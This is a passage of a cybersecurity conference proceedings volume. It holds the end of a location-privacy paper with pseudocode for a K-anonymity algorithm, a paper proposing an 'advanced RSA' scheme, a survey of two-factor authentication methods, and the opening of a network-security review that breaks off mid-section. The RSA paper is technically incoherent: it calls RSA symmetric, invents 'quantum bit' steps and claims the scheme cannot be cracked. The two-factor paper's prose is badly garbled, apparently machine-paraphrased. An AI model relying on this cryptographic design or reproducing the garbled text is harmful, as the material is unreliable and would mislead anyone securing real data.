like Asia) where every driver or passenger is interested in such information relevant
to their trips to plan visits more smartly and save their time in wasteful driving.
Such era of voluminous data can be viewed as big mobile data challenge in
LBSs-enabled mobiles.
Another major motivation behind writing the paper on this subject is the news of
November, 2014, where New York City Mayor declared that an association of four
companies named City Bridge will develop and manage up to 10,000 IEEE 802.11
access points for New York City’s LinkNYC [2]. It agrees to be the biggest free
municipal Wi-Fi operation in the world. In the same motion, the Prime Minister of
India announced to develop intelligent cities having geo-spatial mapping, Wi-Fi
hotspots, and intelligent transit system with GPS features. In both the mentioned
declarations, sharing user’s location information would play a major role in order to
access the demanded services. Clearly, LBS will be having a sweeping impact of
the digital world in the future as pointed out by the market analysis [3] and would
reach $63 billion by 2019.

3 Related Work

A survey of literature in the related field has brought forth several architectures,
algorithms and techniques that have been proposed by many authors in which they
have discussed about anonymity based, different cloaking mechanisms based and
trusted third party based privacy preservation models. A location estimation
enabled smart mobile device allows users to submit location-based queries to
web-based LBSs. Once the mobile apparatus throws the service request, the sender
has no control over the facts contained by the submitted query. An observer with a
right to access the information included in the query may utilize that information to
guess the user’s location. This makes a profound challenge of location privacy
protection that must be ponder upon. In this concern, most of the previous work
4 R. Gupta and U. P. Rao

relies on trusted third party called as Anonymizer that works as an intermediary

amidst user and LBS provider [4].
Location anonymity is vastly discussed by Mokbel et al. and others [5–7]. These
techniques are based on hiding the position data before conveying them to the LBS
provider. K-anonymity operates by hiding the position of the end user within a set of
“K” members. Anonymizer includes additional K − 1 users from same vicinity and
then forwards the anonymized query to LBS provider. It is now difficult for the LBS
provider to distinguish the correct user from a set of K anonymous users. It keeps client
recognizable proof private yet bargains the user location’s vicinity information. To
request a desirable level of privacy assurance, a client required to select the value of
K cautiously. Regrettably, specifying an apt value of K is not easy. A user would
always choose a bigger K value to ensure sufficiently large privacy preservation, yet
this in turn will result in an unnecessary reduction of location accuracy [8]. Trusting
third party and choosing an optimal value of K is a critical issue in this situation.
In [9], authors Chow et al. provide a clear and interesting system for avoiding
identification inference based on location of users who issue spatial queries to LBS.
Background knowledge attacks, when the adversary has extra data regarding
specific user’s preferences, are still possible.
Authors of paper [9] have taken it to the next level where mobile user forms a
group and randomly select a peer from the group as agent to initiate a query. But
this approach in proactive mode incurs high communication overhead and low
quality of service. Bettini et al. [10] have categorized privacy problem in LBS on
the basis of attack and existing defense mechanisms. In [11], authors have discussed
a novel approach for privacy using encryption method for location and trajectory
path which shows remarkable improvement in computational speed. This work fails
to protect the current location in certain cases.
Damiani, Bertino, and Silvestri presented PROBE framework for the customized
shrouding for the protection of sensitive locations using a greedy strategy [12].
They have discussed the privacy issue based on a privacy profile which also unable
to keep user location private when the adversary is aware of multiple attributes of
the user. No authors to our knowledge have actually discussed privacy preservation
of user’s vicinity information.

4 Problem Formulation

4.1 Problem Statement

Preserving the privacy of originating query vicinity information of the user by

including additional K − 1 users from diverse directions.
The addressed setup as depicted in Fig. 2 incorporates an admirable focus
on K—anonymity concept. The main focus is on the inclusion of additional K − 1
clients from diverse directions. The fundamental objective of this proposed
Privacy Protection Through Hiding Location Coordinates … 5

Fig. 2 General framework

approach is to obfuscate the vicinity information of an end client submitting an

inquiry to LBS by including additional users from diverse directions as part of the
query.

5 Proposed Approach

In our proposed framework, after accepting the location information from the
sender, anonymizer runs proposed algorithm (VIC-PRO) and instead of including
K − 1 more users of same vicinity, this algorithm computes K users after per-
forming the following geometric transformation techniques and produces a final
anonymized query set Q:
a. Translation
b. Reflection
Figure 3 shows the instance after computation of suggested geometric
transformations.
The algorithm computes diverse K − 1 values assuming the nearest beacon node
as the center of origin. Each new direction is now having the same probability
considered to be the query initiator vicinity by an adversary. Anonymizer forwards
this anonymized query to LBS provider and after processing, the result set is
communicated back to anonymizer. Now, anonymizer has the actual result and
some false hits. Anonymizer filters out the incorrect results and sends the genuine
result to the end client.

6 Vic-Pro Algorithm

The VICinity-PROtection (VIC-PRO) algorithm (Fig. 4) obfuscates the query ini-

tiator vicinity information by making use of the fundamental geometric transfor-
mation techniques [13].
6 R. Gupta and U. P. Rao

Fig. 3 An instance after transformations

Fig. 4 VIC-PRO pseudocode

VIC-PRO
Input: Current location coordinates (x, y) of the mobile client
submitting query request
Output: Anonymized Query Set Q (consisting K users)

Initially K=0
1. Anonymized_query_set Q = Empty Set
Let, current_loc = (x, y)
2. x' = Reflection(x) and y’ = Reflection(y)
//Reflection method computes reflection geometric
//transformation for the given input point
3. Anonymized_query_set Q = Q U { x’, y’}
4. while (K<=18) // as K= 20 is assumed
5. {Select random translation factors δtx and δty
6. new_x = x + δtx
7. new_y = y + δty
8. Anonymized_query_set Q = Q U {new_x, new_y}
9. Increment K by 1}
10. Anonymized_query_set Q = Q U {current_loc (x,
y)}
11. return Anonymized_query_set Q
Privacy Protection Through Hiding Location Coordinates … 7

Considerations and Assumptions:

a. The utilized mobile devices are LBSs enabled and have the ability to determine
their approximate location (i.e., can determine their longitude and latitude).
b. Mobile devices are being used for outside searches and utilizing Global
Positioning System.
c. Coordinate representation of location is used by the algorithm to keep the
explanation simple and easy to understand.
d. Proposed algorithm runs at anonymizer.
e. The value of K = 20 is assumed and random translation factors generated could
be either homogeneous or heterogeneous.
f. Service provider is efficient enough to handle mass query requests.
This anonymized query set Q further is sent to LBS provider.

7 Example

The example shows the research gap in K-anonymity concept. SVNIT is taken as
the query originating region. Consider the geographical context as depicted in
Fig. 5.
Considering the case where a SVNIT student is generating a query asking for a
“Nearby 34 in. by 48 in. poster printing shop”. In K-anonymity principle, K users
become the part of anonymized query. Anonymizer includes K-1 more client from
the same vicinity and after that advances the anonymized inquiry to a service

Fig. 5 Query originating location: SVNIT, Surat

8 R. Gupta and U. P. Rao

(a)

(b)

(c)

(d)

Fig. 6 a Vicinity—industrial area, b vicinity—Hazira, c vicinity—Varachha, d vicinity-new

textile market
Privacy Protection Through Hiding Location Coordinates … 9

provider. Here, in this situation, though the location and user information are
preserved, but breach of vicinity information privacy can be registered by an
adversary.
Following TWO cases, adversary may use to estimate region information:
Case1: Adversary staying informed with client’s social networking status If an
adversary knows that SVNIT is the only technical institute in the vicinity and he is
also keeping track of client’s social networking whereabouts in which client
mentioned that she is going to attend “Security & Privacy symposium-2015” and
later would also introduce a publication on a certain date at certain place. For an
adversary, with the help of other promotional information shared by the tagged
institute, which is organizing the mentioned event on other social connecting sites,
it would not be troublesome to discover that the student-initiated nearest poster
printing shop search query indeed belong to SVNIT.
Case2: Adversary staying educated with demographics Considering adversary
is now aware about the fact that Surat is a place known more for businesses and
individuals do not go for advanced education much. In such a case, it is not difficult
for an adversary with legitimate access to query information to figure out that the
query initiating region is SVNIT. If an adversary further probe with the help of
social networking connection, then user identification is also possible. This iden-
tification breach makes this framework susceptible to background knowledge
attack.
Figure 6a–d depicts few diverse regions produced after the suggested geometric
transformations at anonymizer.

8 Conclusions

This paper proposes a strategy and an algorithm VIC-PRO that computes the
anonymized query with K users present in diverse directions unlike the existing
approaches where the focus was on the inclusion of K clients from the same
vicinity. Suggested approach strengthens the framework and deals with preserving
vicinity privacy along with user identification privacy as each new direction now
has the same probability considered to be a query initiator vicinity.

References

1. Hofmann-Wellenhof B, Lichtenegger H, Wasle E (2007) GNSS–global navigation satellite

systems: GPS, GLONASS, Galileo, and more. Springer, Berlin
2. Popular Science News (November 2014) Available: http://www.popsci.com/nycs-payphones-
will-become-gigabit-wi-fi-access-points
3. Market Survey News (2014) Available: http://www.dailywireless.org/category/location-
services
10 R. Gupta and U. P. Rao

4. Mokbel MF, Chow CY, Aref WG (2006) The new Casper: query processing for location
services without compromising privacy. In: Proceedings of the 32nd international conference
on very large data bases: VLDB endowment, pp 763–774
5. Mokbel MF (2007) Privacy in location-based services: state-of-the-art and research directions.
In: Proceedings of international conference on mobile data management IEEE, pp 228–228
6. Ghinita G, Kalnis P, Skiadopoulos S (2007) MOBIHIDE: a mobile peer-to-peer system for
anonymous location-based queries. In: Proceedings of 10th international symposium on
advances in spatial and temporal databases, Springer, Berlin, Heidelberg, pp 221–238
7. Gruteser M, Grunwald D (2003) Anonymous usage of location-based services through spatial
and temporal cloaking. In: Proceedings of the 1st international conference on mobile systems,
applications and services ACM, pp 31–42
8. Kalnis P, Ghinita G, Mouratidis K, Papadias D (2007) Preventing location-based identity
inference in anonymous spatial queries. IEEE Trans Knowl Data Eng 19(12):1719–1733
9. Chow CY, Mokbel MF, Liu X (2006) A Peer-to-Peer Spatial Cloaking Algorithm for
Anonymous Location-based Service. In: Proceedings of the 14th annual ACM international
symposium on advances in geographic information systems ACM, pp 171–178
10. Bettini C, Mascetti S, Wang XS, Freni D, Jajodia S (2009) Anonymity and
historical-anonymity in location-based services, in privacy in location-based applications.
Springer, Berlin Heidelberg, pp 1–30
11. Buchanan WJ, Kwecka Z, Ekonomou E (2013) A privacy preserving method using privacy
enhancing techniques for location based services. Mobile Netw Appl 18(5):728–737
12. Damiani ML, Bertino E, Silvestri C (2010) The probe framework for the personalized
cloaking of private locations. Trans Data Priv 3(2):123–148
13. Hein GW, Kneissl F, Avila-Rodriguez J-A, Wallner S (2005) Authenticating GNSS—global
navigation satellite systems—proofs against spoofs
Advanced RSA Cryptographic
Algorithm for Improving Data Security

Mukesh Kumar

Abstract Data security is a method which is used to cover the important infor-
mation. Data security methods control the privacy and integrity of the important
information. The access to the database of the companies has improved. Now
companies store their business data more on computer than before. Most of the
company data is for internal use and not for the general public because business
data is highly confidential. At present, cryptographic block cipher is being used
with some logical operation and the main drawback in this method is the generation
of the secret key which is totally based on the alphabets. So with the help of loop
concept, there is a chance for the hackers to find out the secret key. But I propose
advanced algorithm for cryptography which is totally dependent on hashing func-
tion technique to generate a secret key which is further used to encrypt and decrypt
the important information. The secret key will be generated by using different key
generation algorithms which will be of higher sets of alphanumeric characters. I am
using a hashing technique for cryptography along with a new quantum-bit gener-
ation method.

Keywords Cryptography Ciphertext Data security Key generation algorithms

1 Introduction

Cryptography is the technique which is used to secure important information and

sends it over channel which is secured and only recipient receives the message. At
present, data security becomes a very important aspect of computing system. Due to
easy access of the Internet today, virtually all the computer system are connected to
each other. Due to advancement in the Internet, there is easy access of all the data
all over the world, but it also created new risks for those users who want to remain

M. Kumar (&)
H.P. University, Shimla, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 11

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_2
12 M. Kumar

Fig. 1 Network security model

their data secret. At present, hackers are using a variety of techniques in order to
break into computer system and steal information or change important data of any
organizations (Fig. 1).
At present, cryptography has many applications area. Cryptography provides a
high level of privacy by covering confidential data of any individuals or groups.
Cryptography is used for the purpose of providing access to data in restricted way,
data integrity, and authentication. At present, a lot of research work is going on to
find out the new cryptographic algorithms based on security and complexity [1].
Simply talking about data security, then the following features come to our mind
like privateness, validation, wholeness, disownment, access control, and availability
of data.

2 Literature Review

For generating the starting key for the purpose of encryption and decryption of the
information/ message provided to use, they generally used the random key gen-
erator algorithm [2]. In that particular technique, a replacement technique is used
where they can take four words set from given input message and after getting the
encrypted data, the equivalent words in the random key matrix can be identified.
A technique is suggested by Nath in multiple sequence alignment algorithm for
searching characters from a random key matrix [3]. In this technique, they provide
arrangement for encrypting data. The random key matrix contains all possible
characters set whose value lies between 0 and 255 (ASCII code). Text/ word key
used by the end user is used for the design of the random key matrix. From the
Advanced RSA Cryptographic Algorithm for Improving Data Security 13

starting word/text key used by user, they are providing a new encryption/
decryption steps to find the random and encryption number. The author unex-
pectedly finds it very difficult to meet the two variables from two unlike input. At
this stage, it is very difficult to crack the encryption techniques which are provided
by the author, but if anybody wants to crack the techniques then they must know all
the possible pattern of the word/text key used by the user. If anybody tries to
decrypt the data, then they must know the exact key matrix used and if anybody
tries theoretically to make the random matrix then they almost have to try 65,536!
attempts. Different researcher have applied this technique on possible data files and
they have observed that it gives 100% results while applying cryptography on data.
In paper [4], a newly advanced algorithm outline symmetric algorithm is pro-
posed which is in resemblance to Rijndael algorithm. In Rijndael technique, 128
bits block for encryption are used but in AES technique, 200 bits block are used.

3 Rivest–Shamir–Adleman Algorithm

RSA algorithm was suggested by Rivest–Shamir–Adleman of the Massachusetts

Institute of Technology in 1977. Rivest–Shamir–Adleman algorithm is a cryp-
tosystem which is used for encryption with public key, and is further used for
securing secret message details, which is transmitted over an uncertain computer
network. Public-key cryptography uses two different keys like one public and one
private key. Both the keys are used for the encryption of secret message; and in the
another case, opposite keys are used to decrypt of secret message. Due to this
attribute, Rivest–Shamir–Adleman algorithm has become the most widely used
algorithm. In Rivest–Shamir–Adleman algorithm, the security of the secret message
is implemented through web service. In Rivest–Shamir–Adleman algorithm,
public-key encryptions techniques are used. The certainty of the Rivest–Shamir–
Adleman algorithm depends on the problems for factoring [3, 5]. Rivest–Shamir–
Adleman algorithm is isolated or divided into two different parts:
Encryption of Secret Data: During the process of encryption of data files,
different session keys for encryption are generated. These generated keys are further
used for encryption with an algorithm as compared to encryption of data files as
whole. A moderate public encryption of data files is further used for encryption of
session.
Decryption of Encrypted Secret Data: The confidential data is changed into
their ciphertext before sending from sender X to recipient Y. Then, Y extracts the
session key which is further used for decryption with private key to get the con-
fidential information. The encryption and decryption keys should be kept
secret always.
Session Key: A session key of any cryptography algorithm is a decryption and
an encryption key that is randomly generated to maintain the security of a trans-
mission session between a sender and receivers.
14 M. Kumar

Quantum-bits Production: For the secret data of the user, first of all, find the
secret key for that data to encrypt. After getting the secret key, change the data into
hexadecimal code and after that change it into binary to get the least bits as
Quantum bits of 0 and 1.

4 Proposed Work

I proposed a block-based symmetric algorithm for cryptography techniques. To

generate the initial key by using session key method, a pseudorandom prime
number and their exponential values were used, further this key was used for
encrypting the given secret data using RSA algorithm. To encrypt a secret data, I
introduced a system which using 512-bit key size with some combination of
alphanumeric method. But one drawback of this method is to find out two similar
data. To decrypt any data file, receiver may know the same key block and then find
the combination with the alphanumeric number, but theoretically if you want to
decrypt the data, user has to apply 2256 trail on data. So, practically this is not
possible and the data still remains traceable.
Different steps for Session Key Generation:
• This is the jointly used secret key for encryption/decryption.
• For generating session key, pseudorandom prime number and their exponential
values were used.
• The session key used for encryption and decryption is 512 bits with a combi-
nation of alphanumeric values.
Proposed Algorithm for encryption and decryption:
Below are the following steps:
• First of all, get the secret key for your data. After that change into hexadecimal
to binary values again.
• After the completion of first step, two binary values are obtained, which are
further used for finding quantum bits.
• After getting the quantum bits, find the quantum key with the help of quantum
key production.
• If the quantum bit value is 0 for both binary value, then (1/√2 (a [0] + a [1])).
• If the quantum bit value is 1 and 0 for binary value, respectively, then (1/√2 (a
[0] − a [1])).
• If the quantum bit value is 0 and 1 for binary value, respectively, then a [0].
• If the value is 1 for both binary value, then a [1].
• By applying master key, the next session key is encrypted and then reserves all
the important information.
• Now, key administration center issues all actual session key to the user.
• Key administration center also issues quantum bits to the use.
• Key administration center also issues session key/ quantum bits to the receiver
to decrypt the messages.
Advanced RSA Cryptographic Algorithm for Improving Data Security 15

5 Conclusion

This presented algorithm is mainly used for block cipher techniques and possibly
this technique will take less time to encrypt a data of large size. It is not possible to
crack the encryption algorithm if you do not know the exact key value and this is
the main advantage of presented algorithm. I have used this algorithm for both
encryption and decryption while sending or receiving important message.

References

1. A Text book by William Stallings, data and computer communications, 6e William 6e 2005
2. Chatterjee D, Nath J, Dasgupta S, Nath A (2005) A new symmetric key cryptography
algorithm using extended MSA method: DJSA symmetric key algorithm, accepted for
publication in IEEE CSNT2011 to be held at SMVDU (Jammu) 03–06 June 2011
3. Nath A, Das S, Chakrabarti A (2010) Data hiding and retrieval. In: Proceedings of IEEE
international conference on computer intelligence and computer network held at Bhopal from
26–28 Nov 2010
4. Muhammad F, Chowdhury I, Matin MA Effect of security increment to symmetric data
encryption through AES methodology, 9th ACIS international conference on software
engineering, artificial intelligence, networking, and parallel/distributed computing. Phuket,
Thailand. 6–8 Aug 2008. https://doi.org/10.1109/SNPD.2008.101
5. Felten K An algorithm for symmetric cryptography with a wide range of scalability. In
published by 2nd international workshop on embedded systems, internet programming and
industial IT
6. Wang Y, Hu M (2009) Timing evaluation of the known cryptographic algorithms. International
conference on computational intelligence and security. Beijing, China, 11–14 Dec 2009.
https://doi.org/10.1109/CIS.2009.81
7. Nath A, Ghosh S, Malik MA Symmetric key cryptography using random key generator, vol 2,
pp 239–244

Author Biography

Mukesh Kumar (10/04/1982) has pursuing Ph.D. in Computer

Science from Himachal Pradesh University, Summer-Hill
Shimla-5. India. My research interest includes Data Mining,
Educational Data Mining, Big Data and Image Cryptography.
Different Security Mechanisms
in Two-Factor Authentication
for Collaborative Computing
Environment

G. Dileep Kumar and R. Praveen Sam

Abstract The main aim of this paper is to provide the security for accessing the
collaborative computing environment. Main thing here is using authentication
method, users can access their collaborative environments. So normal authentica-
tion is not sufficient for collaborative environment, that is why here I am proposing
two-factor authentication for collaborative environment.

Keywords Security Collaborative computing environment
Authentication
Two-factor authentication

1 Introduction

Collaborative computing environment is the best suitable environment for group

communications and data sharing in group manner. If the user wants to access the
collaborative computing environment, the main challenging scenario is here to
provide the security of this type of environments. Mainly by using the authenti-
cation method, users can access their workspace.

1.1 Authentication

Authentication is the security mechanism, using this method, we can provide

security to the users work environments and users data [1].

G. Dileep Kumar (&)

Bharathiar University, Coimbatore, India
e-mail: [email protected]
R. Praveen Sam
Department of CSE, GPREC, Kurnool, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 17

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_3
18 G. Dileep Kumar and R. Praveen Sam

For accessing the collaborative environment, only authentication is insufficient.

Because this environment needs more security and so many groups can share their
sensitive data in this space. So only authentication is insufficient, so here we are
using two-factor authentication mechanism to provide security to collaborative
environment.

1.2 Two-Factor Authentication

Something authentication is not enough for some type of environments, and then
we are using two-factor authentication mechanism. Main example for this one is
collaborative environment. First by using passwords, we can authenticate then the
environment cannot be connected here again we will authenticate by using the
advance techniques to access environments. Users having these two authentication
information only can access the data via environment [2].

1.3 Different Two-Factor Authentication Mechanisms

• Face recognition
• Fingerprint recognition
• Smart cards
• Secret message
• One-time password (OTP)

1.3.1 Face Recognition

It utilizes the dimensional calculation of recognizing elements in the face. It is a

type of PC vision that uses the face to distinguish or to validate a man [3].
A critical distinction with other biometric arrangements is that faces can be
caught from some separation away, with for instance observation cameras. Thusly,
confront acknowledgment can be connected without the subject realizing that he is
being watched. This makes face acknowledgment suitable for discovering missing
kids or finding outlaw culprits utilizing observation cameras (Fig. 1).
Autonomous of the arrangement seller, face acknowledgment is proficient as
takes after:
• An advanced camera procures a picture of the face.
• Programming finds the face in the picture; this is additionally called face
recognition. Face discovery is one of the more troublesome strides in face
Different Security Mechanisms in Two-Factor … 19

Fig. 1 Finding the elements

in face recognition

acknowledgment, particularly when utilizing reconnaissance cameras for

checking a whole horde of individuals.
• At the point when a face has been chosen in the picture, the product breaks
down the spatial geometry. The procedures used to concentrate distinguishing
elements of a face are merchant ward. When all is said in done, the product
creates a layout, this is a lessened situated of information which particularly
recognizes an individual taking into account the elements of his face [4].
• The created format is then contrasted and an arrangement of known layouts in a
database (ID) or with one particular format (confirmation) [5].
• The product creates a score which demonstrates how well two layouts match. It
relies on upon the product how high a score must be for two formats to be
considered as coordinating, for instance a confirmation application obliges low
FAR and in this way, the score must be sufficiently high before layouts can be
proclaimed as coordinating. In a reconnaissance application, anyway you would
not have any desire to pass up a major opportunity for any outlaw crooks hence
obliging a low FRR, so you would set a lower coordinating score and security
operators will deal with the false positives [6].

1.3.2 Fingerprint Recognition

Fingerprint recognition alludes to the computerized system for identifying or

affirming the character of a person in lightweight of the comparison of two fin-
gerprints. Distinctive finger impression acknowledgment could be a standout
among the foremost understood statistics, and it is by a good margin that the
foremost utilized biometric declares verification on machine-controlled frame-
works. The need behind distinctive mark acknowledgment being subsequent
thought of square measure the effortlessness of procurance, designed up utilization
20 G. Dileep Kumar and R. Praveen Sam

Fig. 2 Recognition of
fingerprints

and acknowledgment once contrasted with completely different statistics, and

therefore the means that there square measure varied (ten) wellsprings of this
biometric on every one (Fig. 2).
There exist four main types of fingerprint reader hardware:
Optical readers:
Optical readers are the most well-known sort of unique mark readers. The kind of
sensor in an optical reader is an advanced camera that gains a visual picture of the
unique mark. Favorable circumstances are that optical readers begin at exception-
ally modest costs. Disservices are that readings are affected by grimy or stamped
fingers, and this sort of unique mark reader is simpler to trick than others.
Capacitive readers:
Additionally, it is known as CMOS readers; do not read the unique mark utilizing
light. Rather a CMOS reader utilizes capacitors and consequently electrical current
to shape a picture of the unique mark. CMOS readers are more extravagant than
optical readers, in spite of the fact that despite everything they come moderately
shoddy with costs beginning great beneath 100 euros.
Ultrasound readers:
Ultrasound perusers are the most recent sort of one of a kind imprint perusers; they
use high repeat sound waves to penetrate the epidermal (outside) layer of the skin.
They read the exceptional imprint on the dermal skin layer, which discards the
necessity for a clean, unscarred surface. Each and every other kind of one-of-a-kind
imprint perusers gets a photo of the outside surface, thusly obliging hands to be
cleaned and free of scars before readout. This sort of one of a kind finger impression
peruser is altogether more luxurious than the starting two; however as a result of
their accuracy and the way that they are difficult to trap the ultrasound perusers are
starting now to a great degree standard.
Thermal readers:
Warm perusers sense, on a contact surface, the qualification of temperature amidst
interesting imprint edges and valleys. Warm novel imprint perusers have different
hindrances, for instance, higher power use and an execution that depend on upon
nature temperature.
Different Security Mechanisms in Two-Factor … 21

1.3.3 Smart Cards

It is a charge card measured card with embedded consolidated circuits, which can
handle and recollect data. To validate, the client must swipe or physically embed
the card in a unique per user (Fig. 3).

Fig. 3 Smart card for user

physical authentication

1.3.4 Secret Message

Secret message authentication is the most useful technique. In this method, we are
using some secret message to access the data. Once the environment established,
some secret message created by using this message the credentials can be
authenticated.

1.3.5 One-Time Password (OTP)

Where stamping into PC systems and destinations is concerned, it for the most part
incorporates entering a superfluous mystery word, which is genuine just once and
changes every time you sign in. This is known as a one-time secret word and
another is delivered new every time you get to the system. Commonly a one-time
mystery word [7] is a movement of useful in vain numbers or characters or it might
be around six or something like that short, unpredictable words. How might you
know your one-time mystery word if it keeps developing? It is not something you
are obliged to remember that: it is delivered actually and sent to you by some
system other than online transmission. It might be sent to your wireless (cell phone)
as a SMS text [8]; it could be delivered by an application running on your phone or
by a conferred, handheld electronic contraption called a security token; it may even
be printed out and sent to you on paper, the colossal outdated way (Fig. 4).
22 G. Dileep Kumar and R. Praveen Sam

Fig. 4 Device to get the OTP

information

2 Conclusion

In this paper, just we have mentioned what all are the mechanisms available in the
collaborative environment accessing authentication methods. In future papers, we
have to discuss the particular two-factor authentication method and how the method
is implemented.

3 Future Work

Here, we mentioned the different two-factor authentication methods available for

collaborative computing environment. In this particular area, extended work
belongs to develop a particular two-factor authentication framework for collabo-
rative environment.

References

1. Li Q, Cao G (2011) Multicast authentication in the smart grid with one-time signature. IEEE
Trans Smart Grid 2(4)
2. www.explainthatstuff.com-how-security-tokens-work.html
3. Nguyen MD, Bui QM Your face is NOT your password
4. Marcel S, Rodriguez Y Biometric face authentication using pixel-based weak classiers
5. Woodward JD Jr, Horn C, Gatune J, Thomas A A look at facial recognition
Different Security Mechanisms in Two-Factor … 23

6. FRVT 2006 and ICE 2006 Large-scale results. National Institute of Standards
7. Aloul F, Zahidi S, El-Hajj W Two factor authentication using mobile phones
8. Corella F, Lewison K Strong and convenient multi-factor authentication on mobile devices

Author Biographies

Mr. G. Dileep Kumar, is Assistant Professor of CSE department

at KITS, Guntur, AP; is a scholar of Computer science at
Bharathiar University, Coimbatore. His research interests are
collaborative computing, network security, grid and cloud com-
puting, and big data. The recent trends in developing real-time
applications for the effective utilization of natural resources in
which the society benefited mostly are enabling his research
interests to focus more on the top end technologies available
these days. He is life member of IACSIT and IAENG.

Dr. R. Praveen Sam received his Ph.D. in Computer Science

and Engineering from JNT University, Anantapur. He is cur-
rently working as Professor in Computer Science & Engineering,
G. Pulla Reddy Engineering College (Autonomous): Kurnool.
His research interests are mobile and ad hoc networks, network
security, computer organization, design and analysis of algo-
rithms, big data, and cloud computing. He has around 15 years of
experience in Teaching and Research. His research projects are
sanctioned by UGC. He has presented papers at National and
International Conferences and published articles in National &
International Journals. He is life member in CSI, ISTE, IAENG,
and IE.
‘Changing Trend in Network Security
Measures: A Review’

Swati Maurya and Anita Singhrova

Abstract The growing connectivity across the globe has been made possible due
to Internet and web applications. Social networking and e-commerce web appli-
cations are dominating the cyberspace. Cybersecurity tends to secure the computer
system, information and the connecting network from the attackers whose intention
is to misuse the information and damage the resources. Network security is a bit
complex mechanism as compared to information security as it does not only require
securing end systems but also ensure the security of entire network system. This
paper discusses the network security measures and the change in trend in appli-
cation of these measures.

Keywords Cybersecurity
Network security
Mission centricity

Resilient system

1 Introduction

With the latest innovations in the communication technologies, public networks are
now relied for sharing personal and financial information. Earlier, security protocols
were not developed for Internet to secure itself and were not even implemented in
TCP/IP. This left computer systems vulnerable to attacks. Cybersecurity consists of
measures for securing computer system, data and the associated network. The major
intention is to secure the network for communication.
Network security implements policies that prevent unauthorized access by
checking unique ID and password and monitors the requests for network resources
to prevent misuse of computer network and denial of genuine user requests.

S. Maurya (&)
A. Singhrova

Department of Computer Science and Engineering, DCRUST, Murthal, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 25

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_4
26 S. Maurya and A. Singhrova

1.1 Security Attributes

The attributes that assure security in a network and the respective attack methods
that are used by the attackers to compromise the security of the network are listed in
Table 1.

1.2 Preparedness

In the recent past, many discussions have led to recognizing the potential threats
related to cyberspace and their impact on the information infrastructure and their
connecting network. These threats and the nature of attackers vary according to
problem domain and application area network and hence the consequences. The
impact varies from target system to the network ranging from nominal to severe.
Thus, preparedness against threats in cyberspace is mandatory and integral to
mission assurance [2].

2 Security Management

The precautions and planning to handle the attacks should be done at all levels
through long vision strategies which can be done by characterizing the threats that
are expected and the risks can be detected at the preliminary stages.

2.1 Level of Threats

Cyberthreats for the network are oriented in five levels of preparedness as shown in
Fig. 1. The intent of damage increases with the level. The lower levels implement
the already existing security frameworks [3–6] and the higher levels follow mission
assurance strategy where the assets or the resources are preserved from attacks on
mission capabilities.

Table 1 Common attacks on security attributes [1]

Security attributes Attack methods
Confidentiality Hacking, Phishing, DoS, Eavesdropping and IP spoofing
Integrity Viruses, Worms, Trojans, DoS and IP spoofing
Privacy Email bombing, Spamming, Hacking, DoS and cookies
Availability DoS, Email bombing and System boot record infectors
‘Changing Trend in Network Security Measures: A Review’ 27

Fig. 1 Cyberthreat levels [2]

The cyberthreat levels are characterized by the following factors:

• Calibre of threat for which preparedness needs to be done.
• Technical and operational requirements for providing counter to the threats.
• Structural capabilities to handle the after effects.

2.2 Security Measures

The security measures as a countermeasure for the techniques used by attackers for
respective cyberthreat levels are summarized in Table 2.

2.3 Secure Information Sharing Over Network

The cyberattacks are mainly focused for stealing or hacking the secure information.
The information that is available in cyberspace is present for knowledge sharing. It
is desired to be shared among authorized or allowed group of users and needs to be
protected from the unwanted and harmful adversaries. Saltzer–Schroeder [7] rec-
ognized the need for providing control on the access of information by the users.
Sandhu-White [8] discussed the limitations of already existing models for secure
information sharing, such as discretionary access control, mandatory access control
and role-based access control. They explained how these models are effective in
handling the issues what their main motive is but are not capable of responding in
scenarios where monitoring of life events related to cybersecurity is needed. They
proposed group-centric SIS models to address the limitations of traditional models
for such cases. Zhao-White [9] realized the importance of information sharing and
classified threat alert levels for cybersecurity. The proposal was to form a
‘Collaborative Information Sharing Framework’ that would enhance the pre-
paredness for cybersecurity. Zhao-White [10] also proposed a group-centric col-
laborative information sharing framework that aims to improve community
cybersecurity by analysing information sharing requirements in the community
through the designed formal policy model for the framework.
28 S. Maurya and A. Singhrova

Table 2 Security measures for attacks according to cyberthreat levels [2]

Cyberthreat Techniques for attack by adversaries Security measures
level
1. Cyber –Unauthorized access –Properly configured firewalls
vandalism –Socially engineered Trojans –Well-monitored intrusion
–Malwares detection system
–Strong identification and
authentication measures
2. Cyber theft/ –Impersonation –Safe transmission of
crime –Phishing and socially engineered attacks for information by encrypting
gaining security credentials that facilitate the data
data breaching –Implementing secure
protocols like SSL/TLS for
transmission
–Monitoring remote accesses
3. Cyber –Sniffing and luring internal networks of the –Regular check and
incursion/ organization monitoring of network traffic
surveillance –Non-targetted attacks –Quick analysis and
immediate response for any
abnormality noticed
4. Cyber –Monitoring information coming in and –Unusual behaviour in the
sabotage/ going out of the network traffic to be monitored
espionage –Insider-based session hijacking –Regular checks on internal
–Targeted attacks information infrastructure
5. Cyber –Destruction of information system by –Expert integration of cyber
conflict/ hampering the Network infrastructure and physical penetration
warfare testing

3 Mission Centricity

A few years ago, the computer security was based on confidentiality, integrity and
availability (CIA) of IT assets. The network security combines authorization with
CIA triad to ensure security of the overall network. Network security elements like
honeypots and darknet analysers are used to control attacks trying to gain unau-
thorized access and misuse and manipulate network resources. They do so by
attracting harmful traffic away from the main computer resources and in the
meantime analysts get to track the attacker and as a result improve network security.
However, traditional systems have limited operability, and are not able to protect
the network in most of the cases as nowadays attackers have sufficient knowledge to
avoid getting trapped in the darknets and bypass the CIA triad for security.
Considering its loopholes and the failure in providing completely secure infras-
tructure, the need for ‘Mission Centric’ paradigm increased which should be able to
manage the rapid changes in the operational context and dynamic time and space
bound behaviour of missions [11].
‘Changing Trend in Network Security Measures: A Review’ 29

3.1 Resilient Systems

To provide security through mission centricity, a framework that supports system

